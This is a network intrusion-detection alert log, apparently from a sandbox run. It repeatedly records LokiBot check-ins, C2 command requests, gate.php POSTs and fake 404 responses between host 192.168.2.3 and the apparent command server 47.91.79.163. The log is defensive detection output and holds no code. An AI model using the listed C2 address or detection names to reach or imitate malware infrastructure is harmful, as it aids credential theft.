12/03/20-10:03:18.277933	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49860	80	192.168.2.3	47.91.79.163
12/03/20-10:03:18.340693	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49860	47.91.79.163	192.168.2.3
12/03/20-10:03:19.025662	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49861	80	192.168.2.3	47.91.79.163
12/03/20-10:03:19.025662	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49861	80	192.168.2.3	47.91.79.163
12/03/20-10:03:19.025662	TCP	2025381	ET TROJAN LokiBot Checkin	49861	80	192.168.2.3	47.91.79.163
12/03/20-10:03:19.025662	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49861	80	192.168.2.3	47.91.79.163
12/03/20-10:03:19.025662	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49861	80	192.168.2.3	47.91.79.163
12/03/20-10:03:19.166356	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49861	47.91.79.163	192.168.2.3
12/03/20-10:03:19.368860	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49862	80	192.168.2.3	47.91.79.163
12/03/20-10:03:19.368860	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49862	80	192.168.2.3	47.91.79.163
12/03/20-10:03:19.368860	TCP	2025381	ET TROJAN LokiBot Checkin	49862	80	192.168.2.3	47.91.79.163
12/03/20-10:03:19.368860	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49862	80	192.168.2.3	47.91.79.163
12/03/20-10:03:19.368860	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49862	80	192.168.2.3	47.91.79.163
12/03/20-10:03:19.428898	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49862	47.91.79.163	192.168.2.3
12/03/20-10:03:19.879013	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49864	80	192.168.2.3	47.91.79.163
12/03/20-10:03:19.879013	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49864	80	192.168.2.3	47.91.79.163
12/03/20-10:03:19.879013	TCP	2025381	ET TROJAN LokiBot Checkin	49864	80	192.168.2.3	47.91.79.163
12/03/20-10:03:19.879013	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49864	80	192.168.2.3	47.91.79.163
12/03/20-10:03:19.879013	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49864	80	192.168.2.3	47.91.79.163
12/03/20-10:03:19.953105	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49864	47.91.79.163	192.168.2.3
12/03/20-10:03:20.167098	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49865	80	192.168.2.3	47.91.79.163
12/03/20-10:03:20.167098	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49865	80	192.168.2.3	47.91.79.163
12/03/20-10:03:20.167098	TCP	2025381	ET TROJAN LokiBot Checkin	49865	80	192.168.2.3	47.91.79.163
12/03/20-10:03:20.167098	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49865	80	192.168.2.3	47.91.79.163
12/03/20-10:03:20.167098	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49865	80	192.168.2.3	47.91.79.163
12/03/20-10:03:20.230773	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49865	47.91.79.163	192.168.2.3
12/03/20-10:03:20.635796	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49866	80	192.168.2.3	47.91.79.163
12/03/20-10:03:20.635796	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49866	80	192.168.2.3	47.91.79.163
12/03/20-10:03:20.635796	TCP	2025381	ET TROJAN LokiBot Checkin	49866	80	192.168.2.3	47.91.79.163
12/03/20-10:03:20.635796	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49866	80	192.168.2.3	47.91.79.163
12/03/20-10:03:20.635796	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49866	80	192.168.2.3	47.91.79.163
12/03/20-10:03:20.702595	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49866	47.91.79.163	192.168.2.3
12/03/20-10:03:20.914107	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49867	80	192.168.2.3	47.91.79.163
12/03/20-10:03:20.914107	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49867	80	192.168.2.3	47.91.79.163
12/03/20-10:03:20.914107	TCP	2025381	ET TROJAN LokiBot Checkin	49867	80	192.168.2.3	47.91.79.163
12/03/20-10:03:20.914107	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49867	80	192.168.2.3	47.91.79.163
12/03/20-10:03:20.914107	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49867	80	192.168.2.3	47.91.79.163
12/03/20-10:03:20.975845	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49867	47.91.79.163	192.168.2.3
12/03/20-10:03:21.409025	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49868	80	192.168.2.3	47.91.79.163
12/03/20-10:03:21.409025	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49868	80	192.168.2.3	47.91.79.163
12/03/20-10:03:21.409025	TCP	2025381	ET TROJAN LokiBot Checkin	49868	80	192.168.2.3	47.91.79.163
12/03/20-10:03:21.409025	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49868	80	192.168.2.3	47.91.79.163
12/03/20-10:03:21.409025	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49868	80	192.168.2.3	47.91.79.163
12/03/20-10:03:21.474463	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49868	47.91.79.163	192.168.2.3
12/03/20-10:03:21.989441	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49869	80	192.168.2.3	47.91.79.163
12/03/20-10:03:21.989441	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49869	80	192.168.2.3	47.91.79.163
12/03/20-10:03:21.989441	TCP	2025381	ET TROJAN LokiBot Checkin	49869	80	192.168.2.3	47.91.79.163
12/03/20-10:03:21.989441	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49869	80	192.168.2.3	47.91.79.163
12/03/20-10:03:21.989441	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49869	80	192.168.2.3	47.91.79.163
12/03/20-10:03:22.047095	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49869	47.91.79.163	192.168.2.3
12/03/20-10:03:22.262478	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49870	80	192.168.2.3	47.91.79.163
12/03/20-10:03:22.262478	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49870	80	192.168.2.3	47.91.79.163
12/03/20-10:03:22.262478	TCP	2025381	ET TROJAN LokiBot Checkin	49870	80	192.168.2.3	47.91.79.163
12/03/20-10:03:22.262478	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49870	80	192.168.2.3	47.91.79.163
12/03/20-10:03:22.262478	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49870	80	192.168.2.3	47.91.79.163
12/03/20-10:03:22.321959	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49870	47.91.79.163	192.168.2.3
12/03/20-10:03:22.758574	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49871	80	192.168.2.3	47.91.79.163
12/03/20-10:03:22.758574	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49871	80	192.168.2.3	47.91.79.163
12/03/20-10:03:22.758574	TCP	2025381	ET TROJAN LokiBot Checkin	49871	80	192.168.2.3	47.91.79.163
12/03/20-10:03:22.758574	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49871	80	192.168.2.3	47.91.79.163
12/03/20-10:03:22.758574	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49871	80	192.168.2.3	47.91.79.163
12/03/20-10:03:22.823090	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49871	47.91.79.163	192.168.2.3
12/03/20-10:03:23.023042	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49872	80	192.168.2.3	47.91.79.163
12/03/20-10:03:23.023042	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49872	80	192.168.2.3	47.91.79.163
12/03/20-10:03:23.023042	TCP	2025381	ET TROJAN LokiBot Checkin	49872	80	192.168.2.3	47.91.79.163
12/03/20-10:03:23.023042	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49872	80	192.168.2.3	47.91.79.163
12/03/20-10:03:23.023042	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49872	80	192.168.2.3	47.91.79.163
12/03/20-10:03:23.081216	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49872	47.91.79.163	192.168.2.3
12/03/20-10:03:23.528398	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49873	80	192.168.2.3	47.91.79.163
12/03/20-10:03:23.528398	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49873	80	192.168.2.3	47.91.79.163
12/03/20-10:03:23.528398	TCP	2025381	ET TROJAN LokiBot Checkin	49873	80	192.168.2.3	47.91.79.163
12/03/20-10:03:23.528398	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49873	80	192.168.2.3	47.91.79.163
12/03/20-10:03:23.528398	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49873	80	192.168.2.3	47.91.79.163
12/03/20-10:03:23.585989	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49873	47.91.79.163	192.168.2.3
12/03/20-10:03:24.023586	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49874	80	192.168.2.3	47.91.79.163
12/03/20-10:03:24.023586	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49874	80	192.168.2.3	47.91.79.163
12/03/20-10:03:24.023586	TCP	2025381	ET TROJAN LokiBot Checkin	49874	80	192.168.2.3	47.91.79.163
12/03/20-10:03:24.023586	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49874	80	192.168.2.3	47.91.79.163
12/03/20-10:03:24.023586	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49874	80	192.168.2.3	47.91.79.163
12/03/20-10:03:24.206701	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49874	47.91.79.163	192.168.2.3
12/03/20-10:03:24.680367	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49880	80	192.168.2.3	47.91.79.163
12/03/20-10:03:24.680367	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49880	80	192.168.2.3	47.91.79.163
12/03/20-10:03:24.680367	TCP	2025381	ET TROJAN LokiBot Checkin	49880	80	192.168.2.3	47.91.79.163
12/03/20-10:03:24.680367	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49880	80	192.168.2.3	47.91.79.163
12/03/20-10:03:24.680367	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49880	80	192.168.2.3	47.91.79.163
12/03/20-10:03:24.744697	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49880	47.91.79.163	192.168.2.3
12/03/20-10:03:25.184133	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49881	80	192.168.2.3	47.91.79.163
12/03/20-10:03:25.184133	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49881	80	192.168.2.3	47.91.79.163
12/03/20-10:03:25.184133	TCP	2025381	ET TROJAN LokiBot Checkin	49881	80	192.168.2.3	47.91.79.163
12/03/20-10:03:25.184133	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49881	80	192.168.2.3	47.91.79.163
12/03/20-10:03:25.184133	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49881	80	192.168.2.3	47.91.79.163
12/03/20-10:03:25.245221	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49881	47.91.79.163	192.168.2.3
12/03/20-10:03:25.660223	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49882	80	192.168.2.3	47.91.79.163
12/03/20-10:03:25.660223	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49882	80	192.168.2.3	47.91.79.163
12/03/20-10:03:25.660223	TCP	2025381	ET TROJAN LokiBot Checkin	49882	80	192.168.2.3	47.91.79.163
12/03/20-10:03:25.660223	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49882	80	192.168.2.3	47.91.79.163
12/03/20-10:03:25.660223	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49882	80	192.168.2.3	47.91.79.163
12/03/20-10:03:25.718343	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49882	47.91.79.163	192.168.2.3
12/03/20-10:03:26.190091	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49883	80	192.168.2.3	47.91.79.163
12/03/20-10:03:26.190091	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49883	80	192.168.2.3	47.91.79.163
12/03/20-10:03:26.190091	TCP	2025381	ET TROJAN LokiBot Checkin	49883	80	192.168.2.3	47.91.79.163
12/03/20-10:03:26.190091	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49883	80	192.168.2.3	47.91.79.163
12/03/20-10:03:26.190091	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49883	80	192.168.2.3	47.91.79.163
12/03/20-10:03:26.256451	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49883	47.91.79.163	192.168.2.3
12/03/20-10:03:26.801024	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49884	80	192.168.2.3	47.91.79.163
12/03/20-10:03:26.801024	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49884	80	192.168.2.3	47.91.79.163
12/03/20-10:03:26.801024	TCP	2025381	ET TROJAN LokiBot Checkin	49884	80	192.168.2.3	47.91.79.163
12/03/20-10:03:26.801024	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49884	80	192.168.2.3	47.91.79.163
12/03/20-10:03:26.801024	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49884	80	192.168.2.3	47.91.79.163
12/03/20-10:03:26.861568	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49884	47.91.79.163	192.168.2.3
12/03/20-10:03:27.069096	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49885	80	192.168.2.3	47.91.79.163
12/03/20-10:03:27.069096	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49885	80	192.168.2.3	47.91.79.163
12/03/20-10:03:27.069096	TCP	2025381	ET TROJAN LokiBot Checkin	49885	80	192.168.2.3	47.91.79.163
12/03/20-10:03:27.069096	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49885	80	192.168.2.3	47.91.79.163
12/03/20-10:03:27.069096	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49885	80	192.168.2.3	47.91.79.163
12/03/20-10:03:27.127992	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49885	47.91.79.163	192.168.2.3
12/03/20-10:03:27.591079	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49886	80	192.168.2.3	47.91.79.163
12/03/20-10:03:27.591079	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49886	80	192.168.2.3	47.91.79.163
12/03/20-10:03:27.591079	TCP	2025381	ET TROJAN LokiBot Checkin	49886	80	192.168.2.3	47.91.79.163
12/03/20-10:03:27.591079	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49886	80	192.168.2.3	47.91.79.163
12/03/20-10:03:27.591079	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49886	80	192.168.2.3	47.91.79.163
12/03/20-10:03:27.649520	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49886	47.91.79.163	192.168.2.3
12/03/20-10:03:28.103034	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49887	80	192.168.2.3	47.91.79.163
12/03/20-10:03:28.103034	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49887	80	192.168.2.3	47.91.79.163
12/03/20-10:03:28.103034	TCP	2025381	ET TROJAN LokiBot Checkin	49887	80	192.168.2.3	47.91.79.163
12/03/20-10:03:28.103034	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49887	80	192.168.2.3	47.91.79.163
12/03/20-10:03:28.103034	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49887	80	192.168.2.3	47.91.79.163
12/03/20-10:03:28.169105	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49887	47.91.79.163	192.168.2.3
12/03/20-10:03:28.370667	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49888	80	192.168.2.3	47.91.79.163
12/03/20-10:03:28.370667	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49888	80	192.168.2.3	47.91.79.163
12/03/20-10:03:28.370667	TCP	2025381	ET TROJAN LokiBot Checkin	49888	80	192.168.2.3	47.91.79.163
12/03/20-10:03:28.370667	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49888	80	192.168.2.3	47.91.79.163
12/03/20-10:03:28.370667	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49888	80	192.168.2.3	47.91.79.163
12/03/20-10:03:28.577908	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49888	47.91.79.163	192.168.2.3
12/03/20-10:03:28.995903	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49889	80	192.168.2.3	47.91.79.163
12/03/20-10:03:28.995903	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49889	80	192.168.2.3	47.91.79.163
12/03/20-10:03:28.995903	TCP	2025381	ET TROJAN LokiBot Checkin	49889	80	192.168.2.3	47.91.79.163
12/03/20-10:03:28.995903	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49889	80	192.168.2.3	47.91.79.163
12/03/20-10:03:28.995903	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49889	80	192.168.2.3	47.91.79.163
12/03/20-10:03:29.054012	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49889	47.91.79.163	192.168.2.3
12/03/20-10:03:29.261436	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49890	80	192.168.2.3	47.91.79.163
12/03/20-10:03:29.261436	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49890	80	192.168.2.3	47.91.79.163
12/03/20-10:03:29.261436	TCP	2025381	ET TROJAN LokiBot Checkin	49890	80	192.168.2.3	47.91.79.163
12/03/20-10:03:29.261436	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49890	80	192.168.2.3	47.91.79.163
12/03/20-10:03:29.261436	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49890	80	192.168.2.3	47.91.79.163
12/03/20-10:03:29.322723	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49890	47.91.79.163	192.168.2.3
12/03/20-10:03:29.906200	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49891	80	192.168.2.3	47.91.79.163
12/03/20-10:03:29.906200	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49891	80	192.168.2.3	47.91.79.163
12/03/20-10:03:29.906200	TCP	2025381	ET TROJAN LokiBot Checkin	49891	80	192.168.2.3	47.91.79.163
12/03/20-10:03:29.906200	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49891	80	192.168.2.3	47.91.79.163
12/03/20-10:03:29.906200	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49891	80	192.168.2.3	47.91.79.163
12/03/20-10:03:29.963618	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49891	47.91.79.163	192.168.2.3
12/03/20-10:03:30.476261	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49892	80	192.168.2.3	47.91.79.163
12/03/20-10:03:30.476261	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49892	80	192.168.2.3	47.91.79.163
12/03/20-10:03:30.476261	TCP	2025381	ET TROJAN LokiBot Checkin	49892	80	192.168.2.3	47.91.79.163
12/03/20-10:03:30.476261	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49892	80	192.168.2.3	47.91.79.163
12/03/20-10:03:30.476261	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49892	80	192.168.2.3	47.91.79.163
12/03/20-10:03:30.536401	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49892	47.91.79.163	192.168.2.3
12/03/20-10:03:30.994100	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49893	80	192.168.2.3	47.91.79.163
12/03/20-10:03:30.994100	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49893	80	192.168.2.3	47.91.79.163
12/03/20-10:03:30.994100	TCP	2025381	ET TROJAN LokiBot Checkin	49893	80	192.168.2.3	47.91.79.163
12/03/20-10:03:30.994100	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49893	80	192.168.2.3	47.91.79.163
12/03/20-10:03:30.994100	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49893	80	192.168.2.3	47.91.79.163
12/03/20-10:03:31.054595	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49893	47.91.79.163	192.168.2.3
12/03/20-10:03:31.259183	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49894	80	192.168.2.3	47.91.79.163
12/03/20-10:03:31.259183	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49894	80	192.168.2.3	47.91.79.163
12/03/20-10:03:31.259183	TCP	2025381	ET TROJAN LokiBot Checkin	49894	80	192.168.2.3	47.91.79.163
12/03/20-10:03:31.259183	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49894	80	192.168.2.3	47.91.79.163
12/03/20-10:03:31.259183	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49894	80	192.168.2.3	47.91.79.163
12/03/20-10:03:31.328925	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49894	47.91.79.163	192.168.2.3
12/03/20-10:03:31.751251	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49895	80	192.168.2.3	47.91.79.163
12/03/20-10:03:31.751251	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49895	80	192.168.2.3	47.91.79.163
12/03/20-10:03:31.751251	TCP	2025381	ET TROJAN LokiBot Checkin	49895	80	192.168.2.3	47.91.79.163
12/03/20-10:03:31.751251	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49895	80	192.168.2.3	47.91.79.163
12/03/20-10:03:31.751251	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49895	80	192.168.2.3	47.91.79.163
12/03/20-10:03:31.807705	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49895	47.91.79.163	192.168.2.3
12/03/20-10:03:32.014316	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49896	80	192.168.2.3	47.91.79.163
12/03/20-10:03:32.014316	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49896	80	192.168.2.3	47.91.79.163
12/03/20-10:03:32.014316	TCP	2025381	ET TROJAN LokiBot Checkin	49896	80	192.168.2.3	47.91.79.163
12/03/20-10:03:32.014316	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49896	80	192.168.2.3	47.91.79.163
12/03/20-10:03:32.014316	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49896	80	192.168.2.3	47.91.79.163
12/03/20-10:03:32.077873	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49896	47.91.79.163	192.168.2.3
12/03/20-10:03:32.604345	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49897	80	192.168.2.3	47.91.79.163
12/03/20-10:03:32.604345	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49897	80	192.168.2.3	47.91.79.163
12/03/20-10:03:32.604345	TCP	2025381	ET TROJAN LokiBot Checkin	49897	80	192.168.2.3	47.91.79.163
12/03/20-10:03:32.604345	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49897	80	192.168.2.3	47.91.79.163
12/03/20-10:03:32.604345	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49897	80	192.168.2.3	47.91.79.163
12/03/20-10:03:32.665530	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49897	47.91.79.163	192.168.2.3
12/03/20-10:03:32.863168	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49898	80	192.168.2.3	47.91.79.163
12/03/20-10:03:32.863168	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49898	80	192.168.2.3	47.91.79.163
12/03/20-10:03:32.863168	TCP	2025381	ET TROJAN LokiBot Checkin	49898	80	192.168.2.3	47.91.79.163
12/03/20-10:03:32.863168	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49898	80	192.168.2.3	47.91.79.163
12/03/20-10:03:32.863168	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49898	80	192.168.2.3	47.91.79.163
12/03/20-10:03:32.924295	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49898	47.91.79.163	192.168.2.3
12/03/20-10:03:33.437469	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49899	80	192.168.2.3	47.91.79.163
12/03/20-10:03:33.437469	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49899	80	192.168.2.3	47.91.79.163
12/03/20-10:03:33.437469	TCP	2025381	ET TROJAN LokiBot Checkin	49899	80	192.168.2.3	47.91.79.163
12/03/20-10:03:33.437469	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49899	80	192.168.2.3	47.91.79.163
12/03/20-10:03:33.437469	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49899	80	192.168.2.3	47.91.79.163
12/03/20-10:03:33.495292	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49899	47.91.79.163	192.168.2.3
12/03/20-10:03:33.936415	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49900	80	192.168.2.3	47.91.79.163
12/03/20-10:03:33.936415	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49900	80	192.168.2.3	47.91.79.163
12/03/20-10:03:33.936415	TCP	2025381	ET TROJAN LokiBot Checkin	49900	80	192.168.2.3	47.91.79.163
12/03/20-10:03:33.936415	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49900	80	192.168.2.3	47.91.79.163
12/03/20-10:03:33.936415	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49900	80	192.168.2.3	47.91.79.163
12/03/20-10:03:33.997836	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49900	47.91.79.163	192.168.2.3
12/03/20-10:03:34.447921	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49901	80	192.168.2.3	47.91.79.163
12/03/20-10:03:34.447921	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49901	80	192.168.2.3	47.91.79.163
12/03/20-10:03:34.447921	TCP	2025381	ET TROJAN LokiBot Checkin	49901	80	192.168.2.3	47.91.79.163
12/03/20-10:03:34.447921	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49901	80	192.168.2.3	47.91.79.163
12/03/20-10:03:34.447921	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49901	80	192.168.2.3	47.91.79.163
12/03/20-10:03:34.507785	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49901	47.91.79.163	192.168.2.3
12/03/20-10:03:34.942138	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49902	80	192.168.2.3	47.91.79.163
12/03/20-10:03:34.942138	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49902	80	192.168.2.3	47.91.79.163
12/03/20-10:03:34.942138	TCP	2025381	ET TROJAN LokiBot Checkin	49902	80	192.168.2.3	47.91.79.163
12/03/20-10:03:34.942138	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49902	80	192.168.2.3	47.91.79.163
12/03/20-10:03:34.942138	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49902	80	192.168.2.3	47.91.79.163
12/03/20-10:03:35.009032	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49902	47.91.79.163	192.168.2.3
